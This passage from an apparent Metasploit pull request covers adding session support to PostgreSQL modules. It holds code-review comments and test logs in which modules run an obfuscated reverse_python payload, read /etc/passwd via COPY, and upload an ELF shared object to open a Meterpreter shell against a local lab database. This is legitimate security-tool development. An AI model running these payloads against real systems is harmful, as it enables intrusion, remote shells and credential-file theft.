 Host: 127.0.0.1
 Port: 5432
 ====================

---
- DBName: template1
  Tables:
  - TableName: RPA90TTc7
    Columns:
    - ColumnName: filename
      ColumnType: text
      ColumnLength: "-1"

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Don't forget to get a new session using the Postgres login scanner for the new user we created:

msf6 auxiliary(scanner/postgres/postgres_login) > run database=example_user_details rhost=127.0.0.1 rport=5432 username=msfuser password=msfpassword

Then run the schemadump again:

msf6 auxiliary(scanner/postgres/postgres_schemadump) > sessions

Active sessions
===============

  Id  Name  Type        Information                           Connection
  --  ----  ----        -----------                           ----------
  4         PostgreSQL  PostgreSQL postgres @ 127.0.0.1:5432  127.0.0.1:49354 -> 127.0.0.1:5432 (127.0.0.1)
  7         PostgreSQL  PostgreSQL postgres @ 127.0.0.1:5432  127.0.0.1:50607 -> 127.0.0.1:5432 (127.0.0.1)
  8         PostgreSQL  PostgreSQL postgres @ 127.0.0.1:5432  127.0.0.1:52101 -> 127.0.0.1:5432 (127.0.0.1)
  9         PostgreSQL  PostgreSQL msfuser @ 127.0.0.1:5432   127.0.0.1:52109 -> 127.0.0.1:5432 (127.0.0.1)

msf6 auxiliary(scanner/postgres/postgres_schemadump) > run session=9

[*] 127.0.0.1:5432 - Found databases: example_user_details.
[+] Postgres SQL Server Schema
 Host: 127.0.0.1
 Port: 5432
 ====================

---
- DBName: example_user_details
  Tables:
  - TableName: RPA90TTc7
    Columns:
    - ColumnName: filename
      ColumnType: text
      ColumnLength: "-1"

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

postgres_version

RHOSTS

msf6 auxiliary(scanner/postgres/postgres_version) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=postgres verbose=true PythonPath=python3

[*] 127.0.0.1:5432 Postgres - Trying username:'postgres' with password:'password' against 127.0.0.1:5432 on database 'postgres'
[*] 127.0.0.1:5432 Postgres - querying with 'select version()'
[+] 127.0.0.1:5432 Postgres - Logged in to 'postgres' with 'postgres':'password'
[*] 127.0.0.1:5432 Postgres - Version PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit (Post-Auth)
[*] 127.0.0.1:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

SESSION

msf6 auxiliary(scanner/postgres/postgres_version) > run session=-1 verbose=true

[*] 127.0.0.1:5432 Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 Postgres - Version PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Comment on lines 155 to 160
vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'"
vprint_status "#{rhost}:#{rport} Postgres - querying with '#{sql}'"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think you want to leave these as ip and port no?
you have this above:

    ip = opts[:server]         || rhost
    port = opts[:port]         || rport

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

After having a look at this, I think this should be rhost and rport. ip and port are defined outside the scope of this function.

modules/auxiliary/admin/postgres/postgres_readfile.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/postgres/postgres_hashdump.rb Outdated Show resolved Hide resolved
print_good output if datastore['DISPLAY_RESULTS']
end

def get_schema
ignored_databases = datastore['IGNORED_DATABASES'].split(',').map(&:strip)
pg_schema = []
database_names = smart_query('SELECT datname FROM pg_database').to_a.flatten
database_names = session ? [session.client.params['database']] : smart_query('SELECT datname FROM pg_database').to_a.flatten
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

does this return the same for both cases? I thought session.client.params['database'] would return the database you're connected to whereas the query gets all the database names in the cluster?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Correct; but when connecting through a session, only the currently connected DB can be dumped. We cannot switch databases when using a session either, because doing so requires opening a new socket and re-authenticating. This might not work in the case of getting the initial shell through a previous exploit, or when the creds expire etc. This change allows us to dump the database without having to change more code throughout the rest of the module.

Comment on lines 238 to 240
#vuln_version doesn't seem to work
#return unless vuln_version?
return unless vuln_version?
Copy link
Contributor

@dwelch-r7 dwelch-r7 Jan 17, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

did you figure out what the issues were? 👀

@sjanusz-r7 sjanusz-r7 force-pushed the use-postgresql-session-type-for-postgres-modules branch from 0247b50 to 0f9e20c Compare January 24, 2024 11:17
@sjanusz-r7 sjanusz-r7 removed the blocked Blocked by one or more additional tasks label Jan 24, 2024
@sjanusz-r7 sjanusz-r7 force-pushed the use-postgresql-session-type-for-postgres-modules branch from 0f9e20c to 0cf4d6a Compare January 24, 2024 13:51
@sjanusz-r7 sjanusz-r7 marked this pull request as ready for review January 24, 2024 13:52
Comment on lines 179 to +182
return :not_exists if match_error

# Default to something sane
:not_exists
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return :not_exists if match_error
# Default to something sane
:not_exists
:not_exists

I think this can be simplified?
at the minute you're returning :not_exists if match_error is truthy...and then if it's not truthy you end up returning :not_exists anyway
it actually kinda makes the whole match_error bit pointless since it doesn't matter whether it finds the error or not, do you know what makes use of this return value? that might give us a clue as to what was intended here

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm willing to change it to something else, maybe :failed or whatever a good alternative would be 👍
The return value is being used in:

def load_extension?(language)
    case load_procedural_language(language, 'LANGUAGE')
    when ...
    when ...
end

lib/msf/core/exploit/remote/postgres.rb Outdated Show resolved Hide resolved
@cgranleese-r7
Copy link
Contributor

cgranleese-r7 commented Jan 31, 2024

Testing

exploit/multi/postgres/postgres_createlang 🟢

RHOST + RPORT

msf6 exploit(multi/postgres/postgres_createlang) > run payload=cmd/unix/reverse_python rhost=127.0.0.1 rport=5432 PythonPath=python3 shell='/bin/bash' lport=4444 database=template1 password=password

[*] Started reverse TCP handler on 192.168.1.65:4444
[*] 127.0.0.1:5432 - Currently targeting: RHOST and RPORT
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'CREATE LANGUAGE plperlu'
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - perl could not be loaded
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'CREATE LANGUAGE plpythonu'
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - python could not be loaded
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'CREATE LANGUAGE plpython2u'
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - python2 could not be loaded
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'CREATE LANGUAGE plpython3u'
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - python3 is already loaded, continuing
$$ LANGUAGE plpython3u'(shlex.split(c))tgres - querying with 'CREATE OR REPLACE FUNCTION exec_ftEPToVDGR(c text) RETURNS void as $$
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - Loaded UDF (exec_ftEPToVDGR)
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'SELECT exec_ftEPToVDGR('python3 -c "exec(__import__(''zlib'').decompress(__import__(''base64'').b64decode(__import__(''codecs'').getencoder(''utf-8'')(''eNqNkF8LgjAUxb+K7GmDmE1KitiDhEFEBem76Foo2Ta88/vnsPzz5nm42z377Z6x6mN0Yz3Q4i2t12nlCrSFabSQAIOlu+3B+6vUYDli+4CycEcZDbdoeuxm8k2nqQm8T6H9gn9ddMrOtzgds3s7uR8vWZI+4uhKZlOo0EpJYTF2jxiuuUgyIzXQZ2sCDPRV1VJpTAZ4vRRkS8FgBho+/iAVeV1j5BeV8oscSkS+uT1dvA=='')[0])))"')'
[*] Command shell session 1 opened (192.168.1.65:4444 -> 192.168.1.65:58704) at 2024-02-01 10:31:55 +0000
[!] 127.0.0.1:5432 - Timed out. The function was potentially executed.
[!] 127.0.0.1:5432 - Please clear extension [python3]: function [ftEPToVDGR] manually
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - Disconnected

ls
base
global
pg_commit_ts
pg_dynshmem
pg_hba.conf
pg_ident.conf
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
PG_VERSION
pg_wal
pg_xact
postgresql.auto.conf
postgresql.conf
postmaster.opts
postmaster.pid
^Z
Background session 1? [y/N]  y

SESSION

msf6 exploit(multi/postgres/postgres_createlang) > run session=-1 PythonPath=python3 shell='/bin/bash' lhost=192.168.1.65 lport=4444 payload=cmd/unix/reverse_python

[*] Started reverse TCP handler on 192.168.1.65:4444
[!] 127.0.0.1:5432 - SESSION may not be compatible with this module:
[!] 127.0.0.1:5432 -  * Unknown session arch
[!] 127.0.0.1:5432 -  * Unknown session platform
[*] 127.0.0.1:5432 - Currently targeting: session
[*] 127.0.0.1:5432 - : Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - : Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - : Postgres - querying with 'CREATE LANGUAGE plperlu'
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - perl could not be loaded
[*] 127.0.0.1:5432 - : Postgres - querying with 'CREATE LANGUAGE plpythonu'
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - python could not be loaded
[*] 127.0.0.1:5432 - : Postgres - querying with 'CREATE LANGUAGE plpython2u'
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - python2 could not be loaded
[*] 127.0.0.1:5432 - : Postgres - querying with 'CREATE LANGUAGE plpython3u'
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - python3 is already loaded, continuing
$$ LANGUAGE plpython3u'(shlex.split(c))ing with 'CREATE OR REPLACE FUNCTION exec_WDTJjEXyLS(c text) RETURNS void as $$
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - Loaded UDF (exec_WDTJjEXyLS)
[*] 127.0.0.1:5432 - : Postgres - querying with 'SELECT exec_WDTJjEXyLS('python3 -c "exec(__import__(''zlib'').decompress(__import__(''base64'').b64decode(__import__(''codecs'').getencoder(''utf-8'')(''eNqNkEELwjAMhf/K6KkF6ezQoUgPQyaIqOB2H1utbDjbsnT/X7dWhJ7MISG8L+9BupfRg41Ai6e00bcWc4exMYMWEiAQNOzm2WqwHLFtQlm6oYyma+SEyZOvPuVW4M6fuoH9lh2q4yUvw1QnFtf9qSrKW56diXehQislhcV4Cg7OpkjiSQ30PpoEA310vVQakwBe/guyf8HEg4b/vkZF3fcYxU2n4qaGFpE3EHJc/A=='')[0])))"')'
[*] Command shell session 5 opened (192.168.1.65:4444 -> 192.168.1.65:58796) at 2024-02-01 10:38:16 +0000
[!] 127.0.0.1:5432 - Timed out. The function was potentially executed.
[!] 127.0.0.1:5432 - Please clear extension [python3]: function [WDTJjEXyLS] manually
[*] 127.0.0.1:5432 - : Postgres - Skipping disconnecting from the session

ls
base
global
pg_commit_ts
pg_dynshmem
pg_hba.conf
pg_ident.conf
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
PG_VERSION
pg_wal
pg_xact
postgresql.auto.conf
postgresql.conf
postmaster.opts
postmaster.pid
^Z
Background session 5? [y/N]  y

auxiliary/admin/postgres/postgres_readfile 🟢

RHOST + RPORT

[*] Running module against 127.0.0.1

[+] 127.0.0.1:5432 Postgres - Logged in to 'template1' with 'postgres':'password'
[*] 127.0.0.1:5432 Postgres - querying with 'select has_database_privilege(current_user,current_database(),'TEMP')'
[*] 127.0.0.1:5432 Postgres - querying with 'CREATE TEMP TABLE xEElvNe (INPUT TEXT);
      COPY xEElvNe FROM '/etc/passwd';
      SELECT * FROM xEElvNe'
[*] 127.0.0.1:5432 Rows Returned: 19
Query Text: 'CREATE TEMP TABLE xEElvNe (INPUT TEXT);
      COPY xEElvNe FROM '/etc/passwd';
      SELECT * FROM xEElvNe'
========================================================================================================================

    input
    -----
    _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    postgres:x:999:999::/var/lib/postgresql:/bin/bash
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    root:x:0:0:root:/root:/bin/bash
    sync:x:4:65534:sync:/bin:/bin/sync
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash
[+] 127.0.0.1:5432 Postgres - /etc/passwd saved in /Users/cgranleese/.msf4/loot/20240131145334_default_127.0.0.1_postgres.file_296326.txt
[+] 127.0.0.1:5432 Postgres - Command complete.
[*] 127.0.0.1:5432 Postgres - Disconnected
[*] Auxiliary module execution completed

SESSION

msf6 auxiliary(admin/postgres/postgres_readfile) > run session=-1

[*] : Postgres - querying with 'select has_database_privilege(current_user,current_database(),'TEMP')'
[*] : Postgres - querying with 'CREATE TEMP TABLE EcrufYZ (INPUT TEXT);
      COPY EcrufYZ FROM '/etc/passwd';
      SELECT * FROM EcrufYZ'
[*] : Rows Returned: 19
Query Text: 'CREATE TEMP TABLE EcrufYZ (INPUT TEXT);
      COPY EcrufYZ FROM '/etc/passwd';
      SELECT * FROM EcrufYZ'
========================================================================================================================

    input
    -----
    _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    postgres:x:999:999::/var/lib/postgresql:/bin/bash
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    root:x:0:0:root:/root:/bin/bash
    sync:x:4:65534:sync:/bin:/bin/sync
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash
[+] 127.0.0.1:5432 Postgres - /etc/passwd saved in /Users/cgranleese/.msf4/loot/20240131151256_default_127.0.0.1_postgres.file_690902.txt
[+] 127.0.0.1:5432 Postgres - Command complete.
[*] : Postgres - Skipping disconnecting from the session
[*] Auxiliary module execution completed

auxiliary/admin/postgres/postgres_sql 🟢

RHOST + RPORT

msf6 auxiliary(admin/postgres/postgres_sql) > run username=postgres rhost=127.0.0.1 rport=5432 password=password database=template1
[*] Running module against 127.0.0.1

[+] 127.0.0.1:5432 Postgres - Logged in to 'template1' with 'postgres':'password'
[*] 127.0.0.1:5432 Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 Rows Returned: 1
Query Text: 'select version()'
==============================

    version
    -------
    PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit

[+] 127.0.0.1:5432 Postgres - Command complete.
[*] 127.0.0.1:5432 Postgres - Disconnected
[*] Auxiliary module execution completed

SESSION

msf6 auxiliary(admin/postgres/postgres_sql) > run session=1

[*] : Postgres - querying with 'select version()'
[*] : Rows Returned: 1
Query Text: 'select version()'
==============================

    version
    -------
    PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit

[+] 127.0.0.1:5432 Postgres - Command complete.
[*] : Postgres - Skipping disconnecting from the session
[*] Auxiliary module execution completed

exploit/linux/postgres/postgres_payload 🟢

RHOST + RPORT (Docker)

msf6 exploit(linux/postgres/postgres_payload) > run username=postgres database=template1 rport=5432 password=password rhost=127.0.0.1 lhost=192.168.1.65

[*] Started reverse TCP handler on 192.168.1.65:4444
[*] Trying postgres:[email protected]:5432/template1
[*] 127.0.0.1:5432 Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 Postgres - querying with 'select lo_creat(-1)'
[*] 127.0.0.1:5432 Postgres - querying with 'delete from pg_largeobject where loid=16405'
[*] 127.0.0.1:5432 Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16405, 0, decode('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', 'base64'))'
[*] 127.0.0.1:5432 Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16405, 1, decode('sAMAAAAAAACwAwAAAAAAAFoAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAQgAAAAEAAAADAAAAAAAAABAUAAAAAAAAEAQAAAAAAACDAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAEAAAAGAAAAAwAAAAAAAACgFAAAAAAAAKAEAAAAAAAAAAEAAAAAAAACAAAAAAAAABAAAAAAAAAAEAAAAAAAAABIAAAADgAAAAMAAAAAAAAAoBUAAAAAAACgBQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAVAAAAAEAAAADAAAAAAAAAKgVAAAAAAAAqAUAAAAAAABIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAF0AAAADAAAAAAAAAAAAAAAAAAAAAAAAAHAJAAAAAAAAZwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAALmR5bmFtaWMALnJvZGF0YQAuZHluc3RyAC5oYXNoAC5yZWxhLnBsdAAucmVsYS5keW4ALmR5bnN5bQAudGV4dAAuZGF0YQAuaW5pdF9hcnJheQAuZ290LnBsdAAuc2hzdHJ0YWIA', 'base64'))'
[*] 127.0.0.1:5432 Postgres - querying with 'select lo_export(16405, '/tmp/UFxEFJdI.so')'
[*] Uploaded as /tmp/UFxEFJdI.so, should be cleaned up automatically
[*] 127.0.0.1:5432 Postgres - querying with 'create or replace function pg_temp.dRvgGvUnMv() returns void as '/tmp/UFxEFJdI.so','dRvgGvUnMv' language c strict immutable'
[*] 127.0.0.1:5432 Postgres - Disconnected
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.1.65
[*] Meterpreter session 10 opened (192.168.1.65:4444 -> 192.168.1.65:58978) at 2024-02-01 10:52:21 +0000

meterpreter >

SESSION (Docker)

msf6 exploit(linux/postgres/postgres_payload) > run session=-1 lhost=192.168.1.65

[*] Started reverse TCP handler on 192.168.1.65:4444
[!] SESSION may not be compatible with this module:
[!]  * Unknown session platform
[*] Trying postgres:[email protected]:5432/postgres
[*] : Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] : Postgres - querying with 'select lo_creat(-1)'
[*] : Postgres - querying with 'delete from pg_largeobject where loid=16409'
